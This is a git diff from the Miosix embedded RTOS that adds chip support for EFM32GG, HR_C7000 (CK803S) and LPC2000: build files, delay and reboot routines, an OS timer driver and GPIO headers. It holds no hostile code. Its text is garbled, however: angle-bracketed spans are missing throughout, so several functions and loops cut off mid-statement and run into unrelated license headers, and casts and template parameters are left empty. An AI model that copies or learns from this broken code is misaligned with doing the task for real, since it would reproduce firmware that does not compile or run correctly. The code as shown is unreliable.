${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/efm32_serial.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/efm32_adc.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/delays.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp +) diff --git a/miosix/arch/chip/efm32gg/Makefile.inc b/miosix/arch/chip/efm32gg/Makefile.inc new file mode 100644 index 000000000..822645300 --- /dev/null +++ b/miosix/arch/chip/efm32gg/Makefile.inc @@ -0,0 +1,29 @@ +## +## Makefile for chip efm32gg +## Included by all board makefiles that use this chip +## + +## Select compiler +PREFIX := arm-miosix-eabi +## This architecture supports processes +POSTLD := mx-postlinker + +CPU_INC := arch/cpu/armv7m +## Select appropriate compiler flags for both ASM/C/C++/linker +CPU_FLAGS := -mcpu=cortex-m3 -mthumb +CHIP_CFLAGS := -D_CHIP_EFM32GG +CHIP_CXXFLAGS := -D_CHIP_EFM32GG + +## Select architecture specific files +## These are the files in arch//common +CHIP_SRC := \ +arch/cpu/armv7m/interfaces-impl/cpu.cpp \ +arch/cpu/common/cortexMx_interrupts.cpp \ +arch/cpu/common/cortexMx_mpu.cpp \ +arch/cpu/common/cortexMx_userspace.cpp \ +arch/drivers/sleep/cortexMx_sleep.cpp \ +arch/drivers/gpio/efm32_gpio.cpp \ +arch/drivers/serial/efm32_serial.cpp \ +arch/drivers/efm32_adc.cpp \ +$(CHIP_INC)/interfaces-impl/delays.cpp \ +$(CHIP_INC)/interfaces-impl/poweroff.cpp diff --git a/miosix/arch/chip/efm32gg/interfaces-impl/cache_impl.h b/miosix/arch/chip/efm32gg/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..e1c18fdc7 --- /dev/null +++ b/miosix/arch/chip/efm32gg/interfaces-impl/cache_impl.h @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +// Implementation of interfaces/cache.h for a chip wihtout caches + +inline void markBufferBeforeDmaWrite(const void *buffer, int size) {} +inline void markBufferAfterDmaRead(void *buffer, int size) {} +inline void IRQenableCache() {} + +} //namespace miosix diff --git a/miosix/arch/chip/efm32gg/interfaces-impl/delays.cpp b/miosix/arch/chip/efm32gg/interfaces-impl/delays.cpp new file mode 100644 index 000000000..f9a262ba8 --- /dev/null +++ b/miosix/arch/chip/efm32gg/interfaces-impl/delays.cpp @@ -0,0 +1,62 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/delays.h" +#include "miosix_settings.h" + +namespace miosix { + +void delayMs(unsigned int mseconds) +{ + const unsigned int count=cpuFrequency/4000; + + for(unsigned int i=0;i * + ***************************************************************************/ + +#pragma once + +#include "drivers/gpio/efm32_gpio.h" diff --git a/miosix/arch/chip/efm32gg/interfaces-impl/poweroff.cpp b/miosix/arch/chip/efm32gg/interfaces-impl/poweroff.cpp new file mode 100644 index 000000000..d83d3db45 --- /dev/null +++ b/miosix/arch/chip/efm32gg/interfaces-impl/poweroff.cpp @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void IRQsystemReboot() +{ + NVIC_SystemReset(); +} + +} // namespace miosix diff --git a/miosix/arch/chip/efm32gg/interfaces-impl/serial_impl.h b/miosix/arch/chip/efm32gg/interfaces-impl/serial_impl.h new file mode 100644 index 000000000..13aeca303 --- /dev/null +++ b/miosix/arch/chip/efm32gg/interfaces-impl/serial_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/serial/efm32_serial.h" diff --git a/miosix/arch/chip/hr_c7000/CMakeLists.txt b/miosix/arch/chip/hr_c7000/CMakeLists.txt new file mode 100644 index 000000000..b8a152fe5 --- /dev/null +++ b/miosix/arch/chip/hr_c7000/CMakeLists.txt @@ -0,0 +1,32 @@ +## +## CMakeLists.txt for chip hr_c7000 (CK803S core) +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/cskyv2) + +# Multilib directory (used by clang; GCC selects via -mcpu). C-SKY ck803, LE, +# no FPU. TODO: confirm the patched csky-miosix-elf multilib layout at build. +set(MIOSIX_MULTILIB_PATH csky/ck803/nofp) + +# Compiler flags for ASM/C/C++/linker. ck803 = 16-GPR C-SKY V2 base, no FPU, +# little-endian (-EL); built for the patched csky-miosix-elf toolchain. +# NOTE: this csky-miosix-elf GCC was configured WITHOUT init_array support +# (-fuse-init-array is unrecognized), so C++ global ctors land in the legacy +# .ctors section. kernel_global_objects.pl is adapted to rename kernel-object +# .ctors -> .miosix_init_array so kernel global ctors still run before the +# kernel starts (the EABI .init_array path ARM uses by default). +set(MIOSIX_CPU_FLAGS -mcpu=ck803 -EL) +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_HR_C7000) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_HR_C7000) + +# All architecture-specific sources (cpu + chip), like the lpc2000 chip lists +# its cpu (armv4) files. Paths are relative to the miosix source root. +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/cskyv2/cskyv2_context.S + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/cskyv2/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/cskyv2/interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/hr_c7000/hr_c7000_os_timer.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/delays.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp +) diff --git a/miosix/arch/chip/hr_c7000/hr_c7000_os_timer.cpp b/miosix/arch/chip/hr_c7000/hr_c7000_os_timer.cpp new file mode 100644 index 000000000..3f0125ac2 --- /dev/null +++ b/miosix/arch/chip/hr_c7000/hr_c7000_os_timer.cpp @@ -0,0 +1,202 @@ +/*************************************************************************** + * HR_C7000 (CK803S) OS timer for modern Miosix — custom (not TimerAdapter)* + * GPL v2+ with the Miosix linking exception. * + * * + * WHY CUSTOM (not the TimerAdapter CRTP): the on-chip DesignWare * + * DW_apb_timers block has neither a match register nor a software-pend * + * IRQ (TimerAdapter needs both: IRQsetTimerMatchReg + IRQforcePendingIrq,* + * the latter being armv4's VICSoftInt — the HR_C7000 PIC has no equivalent, * + * see cpu_impl.h). So we implement the os_timer interface directly with * + * a TWO-channel scheme, borrowing TimerAdapter's proven "pending-bit * + * trick" for 64-bit timekeeping: * + * * + * TIME_CH (ch0 = Timer1, PIC src1): free-running 32-bit DOWN-counter * + * from 0xFFFFFFFF. Its virtual UP-counter value is (0xFFFFFFFF-CUR), * + * which behaves exactly like a HW up-counter (wraps 0xFFFFFFFF->0 * + * when CUR reloads 0->0xFFFFFFFF). Overflow IRQ bumps the upper 32 * + * bits; the pending-bit trick covers the read/IRQ race. * + * * + * WAKE_CH (ch1 = Timer2, PIC src2): one-shot (emulated: disabled in * + * its own ISR) used as the match. IRQosTimerSetInterrupt(absNs) * + * loads it with the RELATIVE tick count to the deadline; if the * + * deadline is already past it loads 1 so the IRQ fires ASAP — this * + * replaces IRQforcePendingIrq. * + * * + * Single-core UNIFIED timer model (OS_TIMER_MODEL_UNIFIED, no SMP): the * + * scheduler uses IRQosTimerSetInterrupt() for BOTH wakeup and preemption,* + * so IRQosTimerSetPreemption() is not required. * + * * + * DW timer freq 42 MHz, measured on silicon. Register map + control * + * bits HW-verified on hardware. * + ***************************************************************************/ + +#include "kernel/lock.h" +#include "kernel/timeconversion.h" +#include "interfaces/arch_registers.h" +#include "interfaces/interrupts.h" +#include "interfaces_private/os_timer.h" + +namespace miosix { + +// +// DW_apb_timers register access (per-channel stride 0x14; HRC7000_TMR from +// arch_registers_impl.h). Per-channel registers: +// +0x00 LoadCount +0x04 CurrentValue +0x08 ControlReg +// +0x0c EOI (READ clears the channel IRQ) +0x10 IntStatus (masked, R/O) +// +static constexpr unsigned int TIME_CH=0u; // Timer1 -> PIC source 1 +static constexpr unsigned int WAKE_CH=1u; // Timer2 -> PIC source 2 +static constexpr unsigned int TIME_PIC_SRC=1u; +static constexpr unsigned int WAKE_PIC_SRC=2u; + +#define TMR_LOAD(ch) HRC7000_TMR((ch),0x00u) +#define TMR_CURVAL(ch) HRC7000_TMR((ch),0x04u) +#define TMR_CTRL(ch) HRC7000_TMR((ch),0x08u) +#define TMR_EOI(ch) HRC7000_TMR((ch),0x0cu) // read clears IRQ +#define TMR_INTST(ch) HRC7000_TMR((ch),0x10u) // non-clearing status + +#define TMR_CTRL_ENABLE (1u<<0) +#define TMR_CTRL_USERDEF (1u<<1) // 1 = user-defined (reload from LoadCount); 0 = free-run +#define TMR_CTRL_INTMASK (1u<<2) // 1 = IRQ masked + +static constexpr unsigned long long upperIncr=(1ULL<<32); + +//Software-extended upper bits of the 64-bit timekeeping counter, and the +//pending wakeup time in ns (numeric_limits::max() == "none set"). +static long long upperTimeTick=0; +static long long irqNs=0x7FFFFFFFFFFFFFFFLL; + +//Fixed-point tick<->ns conversion (Miosix TimeConversion, 32.32 ~0.03 ppm), set +//up in IRQosTimerInit from the timer frequency. Verified on CK803S silicon: +//42e6 tk -> 1000000030 ns, round-trip -> 41999999 tk (verified on silicon). +//(An earlier integer 500/21 fallback — from a misdiagnosed "TimeConversion hangs" +//— was ~3% coarse; TimeConversion runs fine here, soft-float and all.) ns2tick() +//is non-reentrant, but every caller below holds the global lock or runs in IRQ. +static TimeConversion tc; +static inline long long ticksToNs(long long t) { return tc.tick2ns(t); } +static inline long long nsToTicks(long long ns) { return tc.ns2tick(ns); } + +//----- timekeeping (pending-bit trick on the free-running down-counter) ------- + +/// Virtual up-counter = 0xFFFFFFFF - CurrentValue (down-counter). +static inline unsigned int IRQtimeCounter() +{ + return 0xFFFFFFFFu-TMR_CURVAL(TIME_CH); +} +/// Overflow pending, read WITHOUT clearing (per-channel IntStatus +0x10). +static inline bool IRQtimeOverflowFlag() +{ + return (TMR_INTST(TIME_CH) & 1u)!=0u; +} + +static inline long long IRQgetTimeTick() +{ + //TimerAdapter's pending-bit trick: extend the 32-bit HW counter to 64 bit, + //accounting for an overflow that fired but whose IRQ has not run yet. + unsigned int counter=IRQtimeCounter(); + if(IRQtimeOverflowFlag() && IRQtimeCounter()>=counter) + return (upperTimeTick | static_cast(counter)) + upperIncr; + return upperTimeTick | static_cast(counter); +} + +long long getTime() noexcept +{ + FastGlobalIrqLock dLock; + return ticksToNs(IRQgetTimeTick()); +} + +long long IRQgetTime() noexcept +{ + return ticksToNs(IRQgetTimeTick()); +} + +//----- wakeup / preemption interrupt (one-shot on WAKE_CH) -------------------- + +// Largest relative horizon the 32-bit WAKE counter can represent, in ns (~102s +// at 42 MHz). The scheduler arms IRQosTimerSetInterrupt(numeric_limits::max()) +// when idle with no sleeper; ns must be turned into a RELATIVE delay and clamped +// to this BEFORE nsToTicks(), otherwise nsToTicks(huge_abs) overflows 64-bit -> +// garbage -> rel<1 -> the timer fires ASAP forever (runaway flood that starves +// every thread). Found 2026-06-03; this was THE Thread::sleep blocker. +static const long long WAKE_MAX_HORIZON_NS = (0xFFFFFFFFLL * 500LL) / 21LL; + +void IRQosTimerSetInterrupt(long long ns) noexcept +{ + //ns is an ABSOLUTE time point. Program WAKE_CH for the RELATIVE delay, + //computing the delay in ns and clamping BEFORE the ns->ticks conversion so + //an "infinity" deadline can't overflow nsToTicks() (see horizon note above). + irqNs=ns; + long long now=IRQgetTimeTick(); + long long relNs=ns-ticksToNs(now); + if(relNs<0) relNs=0; + if(relNs>WAKE_MAX_HORIZON_NS) relNs=WAKE_MAX_HORIZON_NS; + long long rel=nsToTicks(relNs); + if(rel<1) rel=1; //past/now -> fire ASAP (no force-pend HW) + if(rel>0xFFFFFFFFLL) rel=0xFFFFFFFFLL; //32-bit timer ceiling (~102 s) + + TMR_CTRL(WAKE_CH)=TMR_CTRL_USERDEF; //stop, user-defined (reload) mode + (void)TMR_EOI(WAKE_CH); //clear any stale IRQ + TMR_LOAD(WAKE_CH)=static_cast(rel); + TMR_CTRL(WAKE_CH)=TMR_CTRL_USERDEF|TMR_CTRL_ENABLE; //enable, IRQ unmasked (bit2=0) +} + +/// WAKE_CH ISR body (registered via IRQregisterIrq; runs inside csky_isr_dispatch). +static void wakeIrqHandler(void*) +{ + //One-shot: disable so it doesn't reload+refire. Clear the channel IRQ. + TMR_CTRL(WAKE_CH)=TMR_CTRL_USERDEF|TMR_CTRL_INTMASK; //disabled, masked + (void)TMR_EOI(WAKE_CH); + + long long now=irqNs; + irqNs=0x7FFFFFFFFFFFFFFFLL; + IRQwakeThreads(now); //kernel wakes due threads + reschedules (sets s_schedPending) +} + +/// TIME_CH overflow ISR body: clear the channel IRQ (Timer1EOI is read-clear, +/// manual §4.8.5.4) and extend the upper 32 bits. NB: the spurious-IRQ storm +/// once seen at the first overflow was NOT a timer-clear problem — it was the +/// PIC dispatcher failing to clear its latched interrupt-request record (fixed +/// in csky_isr_dispatch / interrupts.cpp). This handler is the plain form. +static void timeOverflowIrqHandler(void*) +{ + (void)TMR_EOI(TIME_CH); //clear the overflow IRQ + upperTimeTick+=upperIncr; +} + +//----- init ------------------------------------------------------------------- + +// Lock-free early-boot IRQ registration (interrupts.cpp); avoids constructing a +// pre-kernel GlobalIrqLock here (suspected boot hang). +void cskyRegisterIrqNoLock(unsigned int id, void (*handler)(void*), void *arg) noexcept; + +void IRQosTimerInit() +{ + //Set up the fixed-point tick<->ns conversion from the timer frequency + //(verified on silicon — see the ticksToNs/nsToTicks note above). + tc=TimeConversion(HRC7000_TIMER_HZ); + + //TIME_CH: free-running down-counter from 0xFFFFFFFF, overflow IRQ unmasked. + TMR_CTRL(TIME_CH)=0u; //disable to reload + TMR_LOAD(TIME_CH)=0xFFFFFFFFu; + (void)TMR_EOI(TIME_CH); //clear stale + TMR_CTRL(TIME_CH)=TMR_CTRL_ENABLE; //enable, free-run (bit1=0), IRQ unmasked (bit2=0) + + //WAKE_CH: idle (disabled+masked) until IRQosTimerSetInterrupt arms it. + TMR_CTRL(WAKE_CH)=TMR_CTRL_USERDEF|TMR_CTRL_INTMASK; + (void)TMR_EOI(WAKE_CH); + + //Route both timer IRQs through the PIC dispatcher (id = PIC source number). + //Lock-free: early boot is single-threaded with IE off. + cskyRegisterIrqNoLock(TIME_PIC_SRC,timeOverflowIrqHandler,nullptr); + cskyRegisterIrqNoLock(WAKE_PIC_SRC,wakeIrqHandler,nullptr); + + upperTimeTick=0; + irqNs=0x7FFFFFFFFFFFFFFFLL; +} + +unsigned int osTimerGetFrequency() +{ + return HRC7000_TIMER_HZ; +} + +} //namespace miosix diff --git a/miosix/arch/chip/hr_c7000/interfaces-impl/cache_impl.h b/miosix/arch/chip/hr_c7000/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..a144a691a --- /dev/null +++ b/miosix/arch/chip/hr_c7000/interfaces-impl/cache_impl.h @@ -0,0 +1,17 @@ +/*************************************************************************** + * HR_C7000 (CK803S) cache interface for modern Miosix. * + * GPL v2+ with the Miosix linking exception. * + * * + * CK803S on the HR_C7000 has no data cache to manage for DMA coherency, so * + * these are no-ops (same as the lpc2000 chip). * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +inline void markBufferBeforeDmaWrite(const void *buffer, int size) {} +inline void markBufferAfterDmaRead(void *buffer, int size) {} +inline void IRQenableCache() {} + +} //namespace miosix diff --git a/miosix/arch/chip/hr_c7000/interfaces-impl/delays.cpp b/miosix/arch/chip/hr_c7000/interfaces-impl/delays.cpp new file mode 100644 index 000000000..925c8ca0f --- /dev/null +++ b/miosix/arch/chip/hr_c7000/interfaces-impl/delays.cpp @@ -0,0 +1,38 @@ +/*************************************************************************** + * HR_C7000 (CK803S) busy-wait delays for modern Miosix. * + * GPL v2+ with the Miosix linking exception. * + * * + * Backed by the free-running DW_apb_timers ch0 (the os_timer TIME_CH), * + * polled — exact, unlike a calibrated busy-loop. The same channel the * + * os timer reads for timekeeping; polling its CurrentValue is read-only * + * and does not perturb it. 42 MHz, measured on silicon. * + * * + * PRECONDITION: ch0 must already be free-running. It is started by * + * IRQosTimerInit() and (earlier) by the board boot before any delay. * + ***************************************************************************/ + +#include "interfaces/delays.h" +#include "interfaces/arch_registers.h" // HRC7000_T1_CURVAL, HRC7000_TIMER_HZ + +namespace miosix { + +void delayUs(unsigned int useconds) +{ + const unsigned int countsPerUs=HRC7000_TIMER_HZ/1000000u; //42 + const unsigned int target=useconds*countsPerUs; + unsigned int last=HRC7000_T1_CURVAL; //ch0 down-counter + unsigned int elapsed=0; + while(elapsed template (P = bank base address, N = pin) and the runtime * + * GpioPin (port+pin held as data). getPin() bridges template -> runtime. * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +/// GPIO pin configuration. Minimal: the DW_apb_gpio bank only distinguishes +/// input vs output (DDR bit); pulls live in SOCSYS IOMGR, not exposed here yet. +class Mode +{ +public: + enum Mode_ + { + INPUT, + OUTPUT + }; +private: + Mode(); //Just a wrapper class, disallow creating instances +}; + +/// GPIO bank base addresses, used as the Gpio<> first template parameter. +const unsigned int PA=0x14020000u; +const unsigned int PB=0x14100000u; +const unsigned int PC=0x14110000u; + +/// DW_apb_gpio per-bank register offsets. +inline volatile unsigned int& gpioDr (unsigned int base){ return *reinterpret_cast(base+0x00u); } +inline volatile unsigned int& gpioDdr(unsigned int base){ return *reinterpret_cast(base+0x04u); } +inline volatile unsigned int& gpioIn (unsigned int base){ return *reinterpret_cast(base+0x50u); } + +/** + * Runtime-configurable GPIO pin (port base + pin number held as data). + */ +class GpioPin +{ +public: + /// Default: an invalid pin (getNumber()>=32). Only isValid() is safe. + GpioPin() : base(PA), n(0xff) {} + + /// \param p bank base (PA/PB/PC), \param num pin number (0..31) + GpioPin(unsigned int p, unsigned char num) : base(p), n(num) {} + + bool isValid() const { return n<32; } + + void mode(Mode::Mode_ m) + { + if(m==Mode::OUTPUT) gpioDdr(base)|=(1u<>n)&1; } + + unsigned int getPort() const { return base; } + unsigned char getNumber() const { return n; } + +private: + unsigned int base; //bank base address + unsigned char n; //pin number within the bank +}; + +/** + * Compile-time GPIO pin. P = bank base address, N = pin number. + */ +template +class Gpio +{ +public: + static void mode(Mode::Mode_ m) + { + if(m==Mode::OUTPUT) gpioDdr(P)|=(1u<>N)&1; } + + /// \return this Gpio as a runtime GpioPin + static GpioPin getPin() { return GpioPin(P,N); } + + unsigned int getPort() const { return P; } + unsigned char getNumber() const { return N; } +private: + Gpio(); //Only static member functions, disallow creating instances +}; + +} //namespace miosix diff --git a/miosix/arch/chip/hr_c7000/interfaces-impl/poweroff.cpp b/miosix/arch/chip/hr_c7000/interfaces-impl/poweroff.cpp new file mode 100644 index 000000000..96564e0e0 --- /dev/null +++ b/miosix/arch/chip/hr_c7000/interfaces-impl/poweroff.cpp @@ -0,0 +1,24 @@ +/*************************************************************************** + * HR_C7000 (CK803S) low-level reboot for modern Miosix. * + * GPL v2+ with the Miosix linking exception. * + * * + * Only IRQsystemReboot() belongs to the chip layer; shutdown()/reboot() * + * are provided by the board bsp.cpp (they need the HR_C7000 power latch * + * on GPIOB.13). * + ***************************************************************************/ + +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" // HRC7000_BOOTROM_RESET + +namespace miosix { + +void IRQsystemReboot() +{ + //Re-enter the BOOTROM reset entry. A clean + //reboot must NOT jump to stage-1 0x03000000, which expects power-on + //register state and panics with dirty regs. + reinterpret_cast(HRC7000_BOOTROM_RESET)(); + for(;;) ; +} + +} //namespace miosix diff --git a/miosix/arch/chip/lpc2000/CMakeLists.txt b/miosix/arch/chip/lpc2000/CMakeLists.txt new file mode 100644 index 000000000..7e0e570ce --- /dev/null +++ b/miosix/arch/chip/lpc2000/CMakeLists.txt @@ -0,0 +1,27 @@ +## +## CMakeLists.txt for chip lpc2000 +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv4) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH arm/v4t/nofp) + +# Select appropriate compiler flags for both ASM/C/C++/linker +set(MIOSIX_CPU_FLAGS -mcpu=arm7tdmi) +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_LPC2000) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_LPC2000) + +# Select architecture specific files +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv4/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv4/interfaces-impl/interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/lpc2000_os_timer.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sleep/lpc2000_sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/lpc2000_serial.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sdmmc/lpc2000_sd.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/clock/lpc2000_clock.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/delays.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp +) diff --git a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/LPC213x.h b/miosix/arch/chip/lpc2000/LPC213x.h similarity index 94% rename from miosix/arch/arm7_lpc2000/lpc2138_miosix_board/LPC213x.h rename to miosix/arch/chip/lpc2000/LPC213x.h index 165915141..0e5d2eb4d 100644 --- a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/LPC213x.h +++ b/miosix/arch/chip/lpc2000/LPC213x.h @@ -8,6 +8,33 @@ #ifndef __LPC213x_H #define __LPC213x_H +//Backport Cortex-M-style named interrupt sources to ARM7TDMI +enum IRQn_Type +{ + WDT_IRQn = 0, + //Entry 1 reserved for software interrupts + ARM_Core0_IRQn = 2, + ARM_Core1_IRQn = 3, + TIMER0_IRQn = 4, + TIMER1_IRQn = 5, + UART0_IRQn = 6, + UART1_IRQn = 7, + PWM0_IRQn = 8, + I2C0_IRQn = 9, + SPI0_IRQn = 10, + SPI1_IRQn = 11, + PLL_IRQn = 12, + RTC_IRQn = 13, + EINT0_IRQn = 14, + EINT1_IRQn = 15, + EINT2_IRQn = 16, + EINT3_IRQn = 17, + ACD0_IRQn = 18, + I2C1_IRQn = 19, + BOD_IRQn = 20, + ADC1_IRQn = 21 +}; + /* Vectored Interrupt Controller (VIC) */ #define VICIRQStatus (*((volatile unsigned long *) 0xFFFFF000)) #define VICFIQStatus (*((volatile unsigned long *) 0xFFFFF004)) diff --git a/miosix/arch/chip/lpc2000/Makefile.inc b/miosix/arch/chip/lpc2000/Makefile.inc new file mode 100644 index 000000000..1797f2d64 --- /dev/null +++ b/miosix/arch/chip/lpc2000/Makefile.inc @@ -0,0 +1,34 @@ +## +## Makefile for chip lpc2000 +## Included by all board makefiles that use this chip +## + +## Select compiler +PREFIX := arm-miosix-eabi +## This architecture does not support processes +#POSTLD := + +CPU_INC := arch/cpu/armv4 +## Select appropriate compiler flags for both ASM/C/C++/linker +CPU_FLAGS := -mcpu=arm7tdmi +CHIP_CFLAGS := -D_CHIP_LPC2000 +CHIP_CXXFLAGS := -D_CHIP_LPC2000 + +## Select architecture specific files +## These are the files in arch//common +CHIP_SRC := \ +arch/cpu/armv4/interfaces-impl/cpu.cpp \ +arch/cpu/armv4/interfaces-impl/interrupts.cpp \ +arch/drivers/os_timer/lpc2000_os_timer.cpp \ +arch/drivers/sleep/lpc2000_sleep.cpp \ +arch/drivers/serial/lpc2000_serial.cpp \ +arch/drivers/sdmmc/lpc2000_sd.cpp \ +arch/drivers/clock/lpc2000_clock.cpp \ +$(CHIP_INC)/interfaces-impl/delays.cpp \ +$(CHIP_INC)/interfaces-impl/poweroff.cpp + +## Select programmer command line +## This is the program that is invoked when the user types 'make program' +## The command must provide a way to program the board, or print an error +## message saying that 'make program' is not supported for that board. +PROG ?= lpc21isp -verify main.hex /dev/ttyUSB0 115200 14746 diff --git a/miosix/arch/chip/lpc2000/interfaces-impl/cache_impl.h b/miosix/arch/chip/lpc2000/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..e1c18fdc7 --- /dev/null +++ b/miosix/arch/chip/lpc2000/interfaces-impl/cache_impl.h @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +// Implementation of interfaces/cache.h for a chip wihtout caches + +inline void markBufferBeforeDmaWrite(const void *buffer, int size) {} +inline void markBufferAfterDmaRead(void *buffer, int size) {} +inline void IRQenableCache() {} + +} //namespace miosix diff --git a/miosix/arch/chip/lpc2000/interfaces-impl/delays.cpp b/miosix/arch/chip/lpc2000/interfaces-impl/delays.cpp new file mode 100644 index 000000000..5097c922c --- /dev/null +++ b/miosix/arch/chip/lpc2000/interfaces-impl/delays.cpp @@ -0,0 +1,62 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to 